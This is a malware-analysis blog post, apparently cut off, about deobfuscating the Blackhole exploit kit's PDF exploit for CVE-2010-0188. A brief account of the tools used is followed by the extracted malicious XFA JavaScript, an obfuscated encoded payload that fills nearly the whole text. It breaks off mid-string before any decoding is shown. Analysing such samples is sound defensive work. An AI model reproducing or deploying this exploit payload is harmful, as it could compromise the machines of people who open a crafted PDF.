Blackhole Exploit Kit - deobfuscating the CVE-2010-0188 PDF

After looking at Styx pdf for cve-2010-0188 I thought it might be fun to take a quick look at the blackhole pdf cve-2010-0188 as well. How to fetch it is explained here.
I even managed to throw in a tiny piece of Python code, so we can enjoy some wiered Monty Python reference further down :)

Here is how it goes...

1. PDF overview

Lots of streams to look into. First lets check if pdf.py can give us more info and if threre is JavaScript in there somewhere.

No luck there. probably a JavaScript in there somewhere though so lets keep on looking.

Lets try to extract the streams with pdfextract:

hmmm no such luck. 

Let's go through it piece by piece with pyew then:

So a lot of gzipped content... Lets view the streams with pdfvi

Stream no 8. Bingo this looks like something worth investigating further.

2. The JavaScript from the PDF

<template><subform name="form1"><pageSet><pageArea><contentArea h="1O.5in" w="8in" x="O.25in" y="O.25in"></contentArea><medium long="11in" short="8.5in" stock="letter"></medium></pageArea></pageSet><subform h="1O.5in" w="8in"><field h="98.425mm" name="ImageField1" w="28.575mm" x="95.25mm" y="19.O5mm"><ui><imageEdit></imageEdit></ui><event activity="initialize" xmlns:xfa="http://testset.com">
<xfa:script contentType='application/x-javascript'>
if(ImageField1.rawValue===null)p="parseIn&#116;";
pp="&#1O2;romCharCode";
a='53**^!@#**48**4P**1L**4N**^!@#**48**4B**4B**4G**^!@#**4L**4E**2M**53**^!@#**48**4P**1L**49**^!@#**49**49**27**1L**^!@#**4A**4A**4A**27**^!@#**1L**4B**4B**4B**^!@#**27**1L**4C**4C**^!@#**4C**27**1L**4D**^!@#**4D**4D**27**1L**^!@#**4E**4E**4E**27**^!@#**1L**4F**4F**4F**^!@#**2M**53**48**4P**^!@#**1L**4N**4M**4G**^!@#**4L**51**4C**4P**^!@#**5O**46**48**27**^!@#**1L**4G**2M**53**^!@#**48**4P**1L**55**^!@#**1L**2O**1L**4L**^!@#**4C**54**1L**32**^!@#**4P**4P**48**56**^!@#**23**24**2M**53**^!@#**48**4P**1L**56**^!@#**1L**2O**1L**4L**^!@#**4C**54**1L**32**^!@#**4P**4P**48**56**^!@#**23**24**2M**53**^!@#**48**4P**1L**46**^!@#**4J**2C**2O**1N**^!@#**2F**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**2G**2C**2I**^!@#**2J**2B**2F**48**^!@#**2E**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**4D**2H**2E**^!@#**2J**2B**2F**48**^!@#**48**2E**4C**49**^!@#**2J**2B**2F**48**^!@#**2E**2B**2D**2B**^!@#**2J**2D**2F**48**^!@#**2H**4C**2D**4D**^!@#**2J**2B**2F**48**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2D**2H**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2C**2D**2E**2K**^!@#**2J**2B**2F**48**^!@#**2H**2F**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**2B**2B**2F**^!@#**2B**2B**2B**2B**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**1N**26**1N**2B**^!@#**2B**2B**2B**2G**^!@#**2H**2E**2H**4B**^!@#**2H**2K**2I**4B**^!@#**2E**4D**2H**2F**^!@#**2H**2E**2H**2H**^!@#**2D**2D**2H**4A**^!@#**2H**2J**2I**2E**^!@#**2H**2D**2H**4B**^!@#**2E**2F**2I**2F**^!@#**2H**2I**2H**2C**^!@#**2I**2H**2I**4C**^!@#**2H**2H**2D**2K**^!@#**2H**2C**2E**4B**^!@#**2E**2K**2H**4D**^!@#**2H**2G**2I**2E**^!@#**2I**2H**2D**4D**^!@#**2H**2C**2E**48**^!@#**2E**2C**2E**2E**^!@#**2E**48**2E**2H**^!@#**2I**2D**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**2E**^!@#**2E**2E**2E**48**^!@#**2E**2D**2E**2E**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**2I**2H**2C**^!@#**2E**4B**2E**2G**^!@#**2H**2B**2I**4D**^!@#**2H**2G**2H**2C**^!@#**2I**2G**2I**2H**^!@#**2H**4B**2H**2H**^!@#**2D**48**2H**2C**^!@#**2E**48**2E**2B**^!@#**2E**2E**2E**48**^!@#**2E**2K**2H**2C**^!@#**2E**48**2E**49**^!@#**2H**2C**2E**48**^!@#**2E**2J**2H**2C**^!@#**2E**4B**2E**2B**^!@#**2I**2E**2I**2H**^!@#**2H**4D**2E**2B**^!@#**2I**2J**2H**2B**^!@#**2I**4C**2D**2C**^!@#**2I**4D**2D**2E**^!@#**2H**2K**2E**2B**^!@#**2E**2F**2E**2K**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2H**2F**^!@#**2H**2K**2E**2C**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2E**2K**^!@#**2E**2C**2H**2J**^!@#**2E**2D**2H**2I**^!@#**2E**2K**2E**2F**^!@#**2H**2G**2E**2B**^!@#**2E**2E**2H**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2C**2H**2I**^!@#**2E**2D**2E**4D**^!@#**2D**2E**2H**2K**^!@#**2E**2B**2E**2F**^!@#**2E**2K**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2H**2F**2H**2K**^!@#**2E**2C**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2E**2K**2E**2C**^!@#**2H**2J**2E**2D**^!@#**2H**2I**2E**2K**^!@#**2E**2F**2H**2G**^!@#**2E**2B**2E**2E**^!@#**2H**2C**2H**2D**^!@#**2E**2C**2H**2D**^!@#**2E**2C**2H**2C**^!@#**2H**2I**2E**2D**^!@#**2E**4D**2D**2F**^!@#**2E**2G**2E**4C**^!@#**2D**2G**2E**2H**^!@#**2E**4C**2D**2C**^!@#**2E**2D**2E**2C**^!@#**2E**4C**2D**2K**^!@#**2E**2D**2E**2C**^!@#**2E**4D**2D**4D**^!@#**2D**48**2E**2B**^!@#**2I**2F**2I**2F**^!@#**2I**2J**2H**2B**^!@#**2I**4D**2D**48**^!@#**2C**2H**2E**2K**^!@#**2I**2H**2F**2H**^!@#**4A**49**2C**49**^!@#**2G**48**2J**48**^!@#**4A**2E**2E**4B**^!@#**49**2C**2B**4D**^!@#**2H**2K**2J**4C**^!@#**2B**48**2J**4C**^!@#**4D**2J**2K**4A**^!@#**4C**4C**2B**4C**^!@#**2F**4C**2J**4D**^!@#**4D**4D**4D**4C**^!@#**4D**4A**2K**2J**^!@#**4C**2J**2B**2H**^!@#**2G**4D**4D**4C**^!@#**4D**48**2H**2B**^!@#**2B**48**2H**2F**^!@#**4A**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**48**^!@#**4D**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**2E**^!@#**2C**49**4C**2D**^!@#**2B**49**4C**4A**^!@#**2B**2E**4A**2E**^!@#**2J**2F**2B**2H**^!@#**2G**4D**4D**2E**^!@#**2G**4A**2B**49**^!@#**4C**2E**2J**2B**^!@#**2B**48**2H**2F**^!@#**2B**2H**2G**4D**^!@#**4D**2E**2G**2B**^!@#**2B**48**2H**2H**^!@#**2C**2G**2I**2B**^!@#**4A**2G**2J**2F**^!@#**2C**2H**2G**4D**^!@#**4D**2B**2B**48**^!@#**2H**2I**2G**2E**^!@#**2G**2B**2B**48**^!@#**2H**2B**2B**48**^!@#**2H**2C**2G**2C**^!@#**2F**2F**2B**4B**^!@#**2C**2F**2F**2J**^!@#**2J**2B**2E**2F**^!@#**2B**2C**4A**48**^!@#**2J**2K**2G**2B**^!@#**2B**2K**2B**4B**^!@#**2C**2F**2F**2H**^!@#**4A**4A**2H**4A**^!@#**2H**2F**2H**4C**^!@#**2D**2G**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2F**2I**2D**^!@#**2H**2B**2I**2I**^!@#**2I**2B**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2C**2G**2K**^!@#**4A**2E**2E**2J**^!@#**4C**49**2J**4A**^!@#**2B**2H**2G**4D**^!@#**4D**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4D**2J**2H**2E**^!@#**2G**2B**2D**2E**^!@#**2I**4B**2D**2B**^!@#**2D**2J**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2D**2E**2E**^!@#**2E**2D**2I**2H**^!@#**2I**2F**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2E**2I**2I**^!@#**2H**2G**2H**2D**^!@#**2I**2F**2D**2F**^!@#**2B**2I**4A**4A**^!@#**2B**2F**2D**4A**^!@#**2G**4B**2J**2B**^!@#**2B**2B**2B**2C**^!@#**2B**2F**2B**4A**^!@#**4C**2C**2J**2D**^!@#**2I**49**4C**2D**^!@#**2B**49**4C**4D**^!@#**4D**4D**4D**4D**^!@#**4D**2C**2H**2J**^!@#**4C**2J**4C**49**^!@#**2J**2J**2B**2F**^!@#**4A**2E**2J**2H**^!@#**2C**4D**4D**2F**^!@#**2G**4B**2H**4A**^!@#**2H**2D**2I**2G**^!@#**2I**2J**2H**2B**^!@#**2B**2B**2B**4C**^!@#**2H**4D**2H**2J**^!@#**2H**2E**4C**4D**^!@#**4D**2G**2B**2E**^!@#**4A**2E**2J**2B**^!@#**2C**4C**2G**49**^!@#**2J**4A**4C**49**^!@#**2J**2G**2G**2B**^!@#**2G**2K**2C**2B**^!@#**4A**2E**2J**2B**^!@#**2G**2B**2B**2B**^!@#**2B**2B**2B**4D**^!@#**4D**2J**2H**2B**^!@#**2F**48**2H**2B**^!@#**2G**2J**2G**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4C**2K**4D**2D**^!@#**4C**4D**4D**4D**^!@#**4D**4D**4D**2J**^!@#**2K**2J**4C**2K**^!@#**2G**2G**2B**48**^!@#**2H**2I**4D**49**^!@#**2J**2J**2B**2J**^!@#**2H**49**2J**2E**^!@#**4D**49**4C**2H**^!@#**2K**2E**2B**2F**^!@#**2I**2E**2E**4A**^!@#**2B**4B**2I**2B**^!@#**2J**2B**2D**2J**^!@#**2H**49**2J**4B**^!@#**48**2E**2G**49**^!@#**4C**2E**4A**2K**^!@#**2G**4C**2G**49**^!@#**48**2G**4A**2E**^!@#**2B**49**2J**2F**^!@#**2B**49**2J**4B**^!@#**4B**2E**2B**2J**^!@#**4B**49**2J**4A**^!@#**2B**2F**2D**2F**^!@#**2G**4D**4D**4A**^!@#**4C**2H**2F**4B**^!@#**2J**49**2F**4A**^!@#**2B**49**2J**2H**^!@#**2H**4B**4B**2E**^!@#**2B**2F**2D**4C**^!@#**2G**49**2J**4C**^!@#**2G**2H**4C**2G**^!@#**2I**4D**2C**49**^!@#**2E**2C**4D**49**^!@#**4C**2B**2F**48**^!@#**4B**2E**2B**4B**^!@#**2B**49**4A**2C**^!@#**4A**2J**2B**2F**^!@#**2I**2D**4D**2J**^!@#**2E**2B**2C**4C**^!@#**49**4D**2B**49**^!@#**4B**2E**2E**2G**^!@#**4A**2E**2B**4B**^!@#**48**4A**4D**2C**^!@#**2F**2K**2F**2K**^!@#**4A**2E**2E**2G**^!@#**4D**2E**2B**2B**^!@#**2D**2H**2I**49**^!@#**2J**2H**2G**2G**^!@#**4D**2E**2B**2J**^!@#**2I**2G**2E**2F**^!@#**2I**49**2J**4A**^!@#**2E**2G**2I**49**^!@#**2J**2H**2G**2C**^!@#**2G**4A**2F**49**^!@#**4C**2K**4C**2C**^!@#**2G**2G**2I**2F**^!@#**4C**2G**2J**2F**^!@#**2D**2F**2E**2I**^!@#**2J**49**4D**2G**^!@#**2I**2H**2B**2K**^!@#**2E**2H**2F**2E**^!@#**4A**2B**2E**2B**^!@#**2F**49**2J**2J**^!@#**49**4D**4D**4D**^!@#**4D**2B**2C**2G**^!@#**2C**4C**4C**2C**^!@#**2J**4A**2D**2E**^!@#**2E**2F**2I**2E**^!@#**2B**4A**2E**4C**^!@#**2G**49**2J**2H**^!@#**2H**49**4B**2E**^!@#**2E**2J**2B**2H**^!@#**2I**49**2J**2H**^!@#**2G**4A**2C**2B**^!@#**2I**49**2J**4A**^!@#**2B**2B**2F**49**^!@#**2J**2B**2E**2B**^!@#**2F**49**2J**2F**^!@#**2H**2B**4A**2E**^!@#**2E**4D**2G**2K**^!@#**4C**2F**2E**2G**^!@#**2I**2F**4C**2G**^!@#**2J**4A**4D**4A**^!@#**4D**2F**4C**2E**^!@#**2J**2H**2H**1N**^!@#**29**5O**4N**4J**^!@#**4G**51**23**22**^!@#**22**24**29**4P**^!@#**4C**53**4C**4P**^!@#**5O**4C**23**24**^!@#**29**4H**4M**4G**^!@#**4L**23**22**22**^!@#**24**29**4P**4C**^!@#**4N**4J**48**4A**^!@#**4C**23**2A**2M**^!@#**2A**4E**27**22**^!@#**22**24**2M**53**^!@#**48**4P**1L**46**^!@#**4J**2D**2O**1N**^!@#**2F**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**48**2G**2H**2E**^!@#**2J**2B**2F**48**^!@#**2E**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2K**2H**2D**2C**^!@#**2J**2B**2F**48**^!@#**2K**2B**2C**4D**^!@#**2J**2B**2F**48**^!@#**2E**2B**2K**2B**^!@#**2J**2F**2F**48**^!@#**2I**4B**2I**4C**^!@#**2J**2B**2F**48**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2D**2H**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2I**2C**2J**2J**^!@#**2J**2B**2F**48**^!@#**2H**2F**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**2B**2B**2F**^!@#**2B**2B**2B**2B**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**1N**26**1N**2B**^!@#**2B**2B**2B**2G**^!@#**2H**2E**2H**4B**^!@#**2H**2K**2I**4B**^!@#**2E**4D**2H**2F**^!@#**2H**2E**2H**2H**^!@#**2D**2D**2H**4A**^!@#**2H**2J**2I**2E**^!@#**2H**2D**2H**4B**^!@#**2E**2F**2I**2F**^!@#**2H**2I**2H**2C**^!@#**2I**2H**2I**4C**^!@#**2H**2H**2D**2K**^!@#**2H**2C**2E**4B**^!@#**2E**2K**2H**4D**^!@#**2H**2G**2I**2E**^!@#**2I**2H**2D**4D**^!@#**2H**2C**2E**48**^!@#**2E**2C**2E**2E**^!@#**2E**48**2E**2H**^!@#**2I**2D**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**2E**^!@#**2E**2E**2E**48**^!@#**2E**2D**2E**2E**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**2I**2H**2C**^!@#**2E**4B**2E**2G**^!@#**2H**2B**2I**4D**^!@#**2H**2G**2H**2C**^!@#**2I**2G**2I**2H**^!@#**2H**4B**2H**2H**^!@#**2D**48**2H**2C**^!@#**2E**48**2E**2B**^!@#**2E**2E**2E**48**^!@#**2E**2K**2H**2C**^!@#**2E**48**2E**49**^!@#**2H**2C**2E**48**^!@#**2E**2J**2H**2C**^!@#**2E**4B**2E**2B**^!@#**2I**2E**2I**2H**^!@#**2H**4D**2E**2B**^!@#**2I**2J**2H**2B**^!@#**2I**4C**2D**2C**^!@#**2I**4D**2D**2E**^!@#**2H**2K**2E**2B**^!@#**2E**2F**2E**2K**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2H**2F**^!@#**2H**2K**2E**2C**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2E**2K**^!@#**2E**2C**2H**2J**^!@#**2E**2D**2H**2I**^!@#**2E**2K**2E**2F**^!@#**2H**2G**2E**2B**^!@#**2E**2E**2H**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2C**2H**2I**^!@#**2E**2D**2E**4D**^!@#**2D**2E**2H**2K**^!@#**2E**2B**2E**2F**^!@#**2E**2K**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2H**2F**2H**2K**^!@#**2E**2C**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2E**2K**2E**2C**^!@#**2H**2J**2E**2D**^!@#**2H**2I**2E**2K**^!@#**2E**2F**2H**2G**^!@#**2E**2B**2E**2E**^!@#**2H**2C**2H**2D**^!@#**2E**2C**2H**2D**^!@#**2E**2C**2H**2C**^!@#**2H**2I**2E**2D**^!@#**2E**4D**2D**2F**^!@#**2E**2G**2E**4C**^!@#**2D**2G**2E**2H**^!@#**2E**4C**2D**2C**^!@#**2E**2D**2E**2C**^!@#**2E**4C**2D**2K**^!@#**2E**2D**2E**2C**^!@#**2E**4D**2D**4D**^!@#**2D**48**2E**2B**^!@#**2I**2F**2I**2F**^!@#**2I**2J**2H**2B**^!@#**2I**4D**2D**48**^!@#**2C**2H**2E**2K**^!@#**2I**2H**2F**2H**^!@#**4A**49**2C**49**^!@#**2G**48**2J**48**^!@#**4A**2E**2E**4B**^!@#**49**2C**2B**4D**^!@#**2H**2K**2J**4C**^!@#**2B**48**2J**4C**^!@#**4D**2J**2K**4A**^!@#**4C**4C**2B**4C**^!@#**2F**4C**2J**4D**^!@#**4D**4D**4D**4C**^!@#**4D**4A**2K**2J**^!@#**4C**2J**2B**2H**^!@#**2G**4D**4D**4C**^!@#**4D**48**2H**2B**^!@#**2B**48**2H**2F**^!@#**4A**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**48**^!@#**4D**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**2E**^!@#**2C**49**4C**2D**^!@#**2B**49**4C**4A**^!@#**2B**2E**4A**2E**^!@#**2J**2F**2B**2H**^!@#**2G**4D**4D**2E**^!@#**2G**4A**2B**49**^!@#**4C**2E**2J**2B**^!@#**2B**48**2H**2F**^!@#**2B**2H**2G**4D**^!@#**4D**2E**2G**2B**^!@#**2B**48**2H**2H**^!@#**2C**2G**2I**2B**^!@#**4A**2G**2J**2F**^!@#**2C**2H**2G**4D**^!@#**4D**2B**2B**48**^!@#**2H**2I**2G**2E**^!@#**2G**2B**2B**48**^!@#**2H**2B**2B**48**^!@#**2H**2C**2G**2C**^!@#**2F**2F**2B**4B**^!@#**2C**2F**2F**2J**^!@#**2J**2B**2E**2F**^!@#**2B**2C**4A**48**^!@#**2J**2K**2G**2B**^!@#**2B**2K**2B**4B**^!@#**2C**2F**2F**2H**^!@#**4A**4A**2H**4A**^!@#**2H**2F**2H**4C**^!@#**2D**2G**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2F**2I**2D**^!@#**2H**2B**2I**2I**^!@#**2I**2B**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2C**2G**2K**^!@#**4A**2E**2E**2J**^!@#**4C**49**2J**4A**^!@#**2B**2H**2G**4D**^!@#**4D**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4D**2J**2H**2E**^!@#**2G**2B**2D**2E**^!@#**2I**4B**2D**2B**^!@#**2D**2J**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2D**2E**2E**^!@#**2E**2D**2I**2H**^!@#**2I**2F**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2E**2I**2I**^!@#**2H**2G**2H**2D**^!@#**2I**2F**2D**2F**^!@#**2B**2I**4A**4A**^!@#**2B**2F**2D**4A**^!@#**2G**4B**2J**2B**^!@#**2B**2B**2B**2C**^!@#**2B**2F**2B**4A**^!@#**4C**2C**2J**2D**^!@#**2I**49**4C**2D**^!@#**2B**49**4C**4D**^!@#**4D**4D**4D**4D**^!@#**4D**2C**2H**2J**^!@#**4C**2J**4C**49**^!@#**2J**2J**2B**2F**^!@#**4A**2E**2J**2H**^!@#**2C**4D**4D**2F**^!@#**2G**4B**2H**4A**^!@#**2H**2D**2I**2G**^!@#**2I**2J**2H**2B**^!@#**2B**2B**2B**4C**^!@#**2H**4D**2H**2J**^!@#**2H**2E**4C**4D**^!@#**4D**2G**2B**2E**^!@#**4A**2E**2J**2B**^!@#**2C**4C**2G**49**^!@#**2J**4A**4C**49**^!@#**2J**2G**2G**2B**^!@#**2G**2K**2C**2B**^!@#**4A**2E**2J**2B**^!@#**2G**2B**2B**2B**^!@#**2B**2B**2B**4D**^!@#**4D**2J**2H**2B**^!@#**2F**48**2H**2B**^!@#**2G**2J**2G**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4C**2K**4D**2D**^!@#**4C**4D**4D**4D**^!@#**4D**4D**4D**2J**^!@#**2K**2J**4C**2K**^!@#**2G**2G**2B**48**^!@#**2H**2I**4D**49**^!@#**2J**2J**2B**2J**^!@#**2H**49**2J**2E**^!@#**4D**49**4C**2H**^!@#**2K**2E**2B**2F**^!@#**2I**2E**2E**4A**^!@#**2B**4B**2I**2B**^!@#**2J**2B**2D**2J**^!@#**2H**49**2J**4B**^!@#**48**2E**2G**49**^!@#**4C**2E**4A**2K**^!@#**2G**4C**2G**49**^!@#**48**2G**4A**2E**^!@#**2B**49**2J**2F**^!@#**2B**49**2J**4B**^!@#**4B**2E**2B**2J**^!@#**4B**49**2J**4A**^!@#**2B**2F**2D**2F**^!@#**2G**4D**4D**4A**^!@#**4C**2H**2F**4B**^!@#**2J**49**2F**4A**^!@#**2B**49**2J**2H**^!@#**2H**4B**4B**2E**^!@#**2B**2F**2D**4C**^!@#**2G**49**2J**4C**^!@#**2G**2H**4C**2G**^!@#**2I**4D**2C**49**^!@#**2E**2C**4D**49**^!@#**4C**2B**2F**48**^!@#**4B**2E**2B**4B**^!@#**2B**49**4A**2C**^!@#**4A**2J**2B**2F**^!@#**2I**2D**4D**2J**^!@#**2E**2B**2C**4C**^!@#**49**4D**2B**49**^!@#**4B**2E**2E**2G**^!@#**4A**2E**2B**4B**^!@#**48**4A**4D**2C**^!@#**2F**2K**2F**2K**^!@#**4A**2E**2E**2G**^!@#**4D**2E**2B**2B**^!@#**2D**2H**2I**49**^!@#**2J**2H**2G**2G**^!@#**4D**2E**2B**2J**^!@#**2I**2G**2E**2F**^!@#**2I**49**2J**4A**^!@#**2E**2G**2I**49**^!@#**2J**2H**2G**2C**^!@#**2G**4A**2F**49**^!@#**4C**2K**4C**2C**^!@#**2G**2G**2I**2F**^!@#**4C**2G**2J**2F**^!@#**2D**2F**2E**2I**^!@#**2J**49**4D**2G**^!@#**2I**2H**2B**2K**^!@#**2E**2H**2F**2E**^!@#**4A**2B**2E**2B**^!@#**2F**49**2J**2J**^!@#**49**4D**4D**4D**^!@#**4D**2B**2C**2G**^!@#**2C**4C**4C**2C**^!@#**2J**4A**2D**2E**^!@#**2E**2F**2I**2E**^!@#**2B**4A**2E**4C**^!@#**2G**49**2J**2H**^!@#**2H**49**4B**2E**^!@#**2E**2J**2B**2H**^!@#**2I**49**2J**2H**^!@#**2G**4A**2C**2B**^!@#**2I**49**2J**4A**^!@#**2B**2B**2F**49**^!@#**2J**2B**2E**2B**^!@#**2F**49**2J**2F**^!@#**2H**2B**4A**2E**^!@#**2E**4D**2G**2K**^!@#**4C**2F**2E**2G**^!@#**2I**2F**4C**2G**^!@#**2J**4A**4D**4A**^!@#**4D**2F**4C**2E**^!@#**2J**2H**2H**1N**^!@#**29**5O**4N**4J**^!@#**4G**51**23**22**^!@#**22**24**29**4P**^!@#**4C**53**4C**4P**^!@#**5O**4C**23**24**^!@#**29**4H**4M**4G**^!@#**4L**23**22**22**^!@#**24**29**4P**4C**^!@#**4N**4J**48**4A**^!@#**4C**23**2A**2M**^!@#**2A**4E**27**22**^!@#**22**24**2M**46**^!@#**4J**2E**2O**48**^!@#**4N**4N**2M**46**^!@#**4J**2F**2O**4L**^!@#**4C**54**1L**32**^!@#**4P**4P**48**56**^!@#**23**24**2M**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4J**2G**23**^!@#**24**58**53**48**^!@#**4P**1L**46**4J**^!@#**2H**2O**46**4J**^!@#**2E**29**53**4G**^!@#**4C**54**4C**4P**^!@#**3N**4C**4P**5O**^!@#**4G**4M**4L**29**^!@#**51**4M**3K**51**^!@#**4P**4G**4L**4E**^!@#**23**24**2M**46**^!@#**4J**2H**2O**46**^!@#**4J**2H**29**4P**^!@#**4C**4N**4J**48**^!@#**4A**4C**23**22**^!@#**29**22**27**22**^!@#**22**24**2M**54**^!@#**4F**4G**4J**4C**^!@#**23**46**4J**2H**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**2N**^!@#**2F**24**46**4J**^!@#**2H**26**2O**22**^!@#**2B**22**2M**4P**^!@#**4C**51**52**4P**^!@#**4L**1L**4N**48**^!@#**4P**5O**4C**3A**^!@#**4L**51**23**46**^!@#**4J**2H**27**2C**^!@#**2B**24**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4J**2I**23**^!@#**46**4J**2J**27**^!@#**46**4J**2K**24**^!@#**58**54**4F**4G**^!@#**4J**4C**23**46**^!@#**4J**2J**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**25**2D**2N**^!@#**46**4J**2K**24**^!@#**46**4J**2J**26**^!@#**2O**46**4J**2J**^!@#**2M**4P**4C**51**^!@#**52**4P**4L**1L**^!@#**46**4J**2J**29**^!@#**5O**52**49**5O**^!@#**51**4P**4G**4L**^!@#**4E**23**2B**27**^!@#**46**4J**2K**2A**^!@#**2D**24**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**3A**2B**23**^!@#**46**3A**2C**24**^!@#**58**46**3A**2C**^!@#**2O**52**4L**4C**^!@#**5O**4A**48**4N**^!@#**4C**23**46**3A**^!@#**2C**24**2M**4P**^!@#**4M**51**4C**35**^!@#**48**4I**2O**46**^!@#**3A**2C**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**25**2D**2M**^!@#**4B**48**4I**3J**^!@#**4M**51**4C**2O**^!@#**52**4L**4C**5O**^!@#**4A**48**4N**4C**^!@#**23**22**2O**52**^!@#**2K**2B**2K**2B**^!@#**22**24**2M**5O**^!@#**4N**4P**48**56**^!@#**2O**46**4J**2I**^!@#**23**4B**48**4I**^!@#**3J**4M**51**4C**^!@#**27**2B**55**2D**^!@#**2B**2B**2B**28**^!@#**4P**4M**51**4C**^!@#**35**48**4I**24**^!@#**2M**4J**4M**55**^!@#**3O**4F**4C**4C**^!@#**2O**46**3A**2C**^!@#**26**5O**4N**4P**^!@#**48**56**2M**4J**^!@#**4M**55**3O**4F**^!@#**4C**4C**2O**46**^!@#**4J**2I**23**4J**^!@#**4M**55**3O**4F**^!@#**4C**4C**27**2G**^!@#**2D**2F**2B**2K**^!@#**2J**24**2M**4D**^!@#**4M**4P**23**4G**^!@#**2O**2B**2M**1L**^!@#**4G**1L**2N**1L**^!@#**2F**2B**2B**2M**^!@#**1L**4G**26**26**^!@#**24**46**4J**2F**^!@#**42**4G**44**2O**^!@#**4J**4M**55**3O**^!@#**4F**4C**4C**29**^!@#**5O**52**49**5O**^!@#**51**4P**23**2B**^!@#**27**4J**4M**55**^!@#**3O**4F**4C**4C**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**28**^!@#**2C**24**26**4B**^!@#**48**4I**3J**4M**^!@#**51**4C**2M**5A**^!@#**4D**52**4L**4A**^!@#**51**4G**4M**4L**^!@#**1L**46**3A**2D**^!@#**23**46**3A**2C**^!@#**27**4J**4C**4L**^!@#**24**58**54**4F**^!@#**4G**4J**4C**23**^!@#**46**3A**2C**29**^!@#**4J**4C**4L**4E**^!@#**51**4F**2N**4J**^!@#**4C**4L**24**46**^!@#**3A**2C**26**2O**^!@#**46**3A**2C**2M**^!@#**4P**4C**51**52**^!@#**4P**4L**1L**46**^!@#**3A**2C**29**5O**^!@#**52**49**5O**51**^!@#**4P**4G**4L**4E**^!@#**23**2B**27**4J**^!@#**4C**4L**24**5A**^!@#**4D**52**4L**4A**^!@#**51**4G**4M**4L**^!@#**1L**46**3A**2E**^!@#**23**46**3A**2C**^!@#**24**58**4P**4C**^!@#**51**2O**22**22**^!@#**2M**4D**4M**4P**^!@#**23**4G**2O**2B**^!@#**2M**4G**2N**46**^!@#**3A**2C**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**2M**4G**26**^!@#**2O**2D**24**58**^!@#**49**2O**46**3A**^!@#**2C**29**5O**52**^!@#**49**5O**51**4P**^!@#**23**4G**27**2D**^!@#**24**2M**4A**2O**^!@#**4N**48**4P**5O**^!@#**4C**3A**4L**51**^!@#**23**49**27**2C**^!@#**2H**24**2M**4P**^!@#**4C**51**26**2O**^!@#**3K**51**4P**4G**^!@#**4L**4E**29**4D**^!@#**4P**4M**4K**34**^!@#**4F**48**4P**34**^!@#**4M**4B**4C**23**^!@#**4A**24**2M**5A**^!@#**4P**4C**51**52**^!@#**4P**4L**1L**4P**^!@#**4C**51**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4H**4G**2C**^!@#**23**46**3A**2C**^!@#**27**46**3A**2F**^!@#**24**58**46**3A**^!@#**2G**2O**22**22**^!@#**2M**4D**4M**4P**^!@#**23**46**3A**2H**^!@#**2O**2B